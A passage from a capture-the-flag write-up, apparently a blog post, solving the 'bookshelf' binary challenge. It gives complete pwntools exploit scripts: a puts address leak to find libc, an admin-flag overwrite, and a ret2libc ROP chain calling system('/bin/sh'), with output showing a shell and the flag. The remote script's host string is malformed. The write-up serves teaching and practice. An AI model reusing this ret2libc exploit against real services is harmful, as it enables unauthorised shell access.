[+] Puts found @ 0x7f39c4275bf0
[+] libc base @ 0x7f39c4200000
[*] Sending payload...
[*] Loaded 214 cached gadgets for '/usr/lib/libc.so.6'
[+] Sent
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
[*] Process './bookshelf' stopped with exit code -11 (SIGSEGV) (pid 1811608)
[*] Got EOF while sending in interactive

Wait what?! This should have worked right? Our ROP chain is perfect, also all offsets are correct, so why didn’t it work.

During the challenge, I couldn’t think of anything, so I changed the ROP chain from system('/bin/sh') to execve('/bin/sh', 0, 0) and it worked.

But eventually I figured out that it was a simple case of stack misalignment, my initial payload was perfect, all I had to do was, insert a ret gadget before the ROP chain.

So here’s the final exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

p = process('./bookshelf')

libc = ELF('/usr/lib/libc.so.6')

# LEAK PUTS
log.info('Leaking puts...')
for _ in range(8):
    p.sendline(b'2')    # Go to bookshop
    p.sendline(b'2')    # Buy/Attempt to buy a book
    p.sendline(b'y')    # Leave tip

p.sendline(b'2')    # Go to bookshop
p.sendline(b'3')    # Read value of puts()
p.sendline(b'N')    # No need to leave any more tip

leak = p.clean()    # Read everything till now
leak = b''.join(word for word in leak.split(b' ') if word.startswith(b'0x'))    # Filter the text for the memory address

puts = int(leak, 16)
log.success('Puts found @ ' + hex(puts))

libc_base = puts - libc.symbols['puts']
log.success('libc base @ ' + hex(libc_base))

# GET ADMIN ACCESS
p.sendline(b'1')            # Write a book
p.sendline(b'y')            # Write an audiobook
p.sendline(b'A' * 100)      # Overwrite the admin access check variable.

# OVERFLOW ADMIN WRITE
log.info('Sending payload...')

p.sendline(b'3')     # Write an admin book

## Prepare the payload
offset = 56
rop = ROP(libc)

payload  = b''
payload += b'A' * offset
payload += p64( libc_base + rop.find_gadget(['ret']).address )
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( libc_base + next(libc.search(b'/bin/sh')) )
payload += p64( libc_base + libc.symbols['system'] )
# Since we are good programmers, let's also add a clean exit after buffer overflow :P
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( 0 )
payload += p64( libc_base + libc.symbols['exit'] )

p.sendline(payload)

log.success('Sent')
p.clean()

p.interactive()

Let’s test it…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
> python exploit.py
[+] Starting local process './bookshelf': pid 2222546
[*] '/usr/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leaking puts...
[+] Puts found @ 0x7fdc73e75bf0
[+] libc base @ 0x7fdc73e00000
[*] Sending payload...
[*] Loaded 214 cached gadgets for '/usr/lib/libc.so.6'
[+] Sent
[*] Switching to interactive mode
$ whoami
vulnx
$ exit
[*] Got EOF while reading in interactive
$ 
[*] Process './bookshelf' stopped with exit code 0 (pid 2222546)
[*] Got EOF while sending in interactive
> 

Oh good good! Our exploit is working perfectly.

Now all we need to do as adapt the local exploit to remote enviroment

Switching to remote

All we need to do is simply change our libc and process from local the remote ones. Final remote exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

p = remote('chal.pctf.competitivecyber.club on port', 4444)

libc = ELF('libc.so.6')

# LEAK PUTS
log.info('Leaking puts...')
for _ in range(20):
    p.sendline(b'2')    # Go to bookshop
    p.sendline(b'2')    # Buy/Attempt to buy a book
    p.sendline(b'y')    # Leave tip

p.sendline(b'2')    # Go to bookshop
p.sendline(b'3')    # Read value of puts()
p.sendline(b'N')    # No need to leave any more tip

leak = p.clean()    # Read everything till now

leak = b''.join(word for word in leak.split(b' ') if word.startswith(b'0x'))    # Filter the text for the memory address

puts = int(leak, 16)
log.success('Puts found @ ' + hex(puts))

libc_base = puts - libc.symbols['puts']
log.success('libc base @ ' + hex(libc_base))

# GET ADMIN ACCESS
p.sendline(b'1')            # Write a book
p.sendline(b'y')            # Write an audiobook
p.sendline(b'A' * 100)      # Overwrite the admin access check variable.

# OVERFLOW ADMIN WRITE
log.info('Sending payload...')

p.sendline(b'3')     # Write an admin book

## Prepare the payload
offset = 56
rop = ROP(libc)

payload  = b''
payload += b'A' * offset
payload += p64( libc_base + rop.find_gadget(['ret']).address )
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( libc_base + next(libc.search(b'/bin/sh')) )
payload += p64( libc_base + libc.symbols['system'] )
# Since we are good programmers, let's also add a clean exit after buffer overflow :P
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( 0 )
payload += p64( libc_base + libc.symbols['exit'] )

p.sendline(payload)

log.success('Sent')
p.clean()

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
> python exploit.py
[+] Opening connection to chal.pctf.competitivecyber.club on port 4444: Done
[*] '/home/vulnx/CTFs/Patriot/bookshelf/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leaking puts...
[+] Puts found @ 0x7f423ca75bf0
[+] libc base @ 0x7f423ca00000
[*] Sending payload...
[*] Loaded 214 cached gadgets for '/home/vulnx/CTFs/Patriot/bookshelf/libc.so.6'
[+] Sent
[*] Switching to interactive mode
$ ls
flag.txt
$ cat flag.txt
PCTF{r3t_2_libc_pl0x_52706196}
$ exit
[*] Got EOF while reading in interactive
$ 
[*] Process './bookshelf' stopped with exit code 0 (pid 3079866)
[*] Got EOF while sending in interactive
> 

FLAG

PCTF{r3t_2_libc_pl0x_52706196}

This post is licensed under CC BY 4.0 by the author.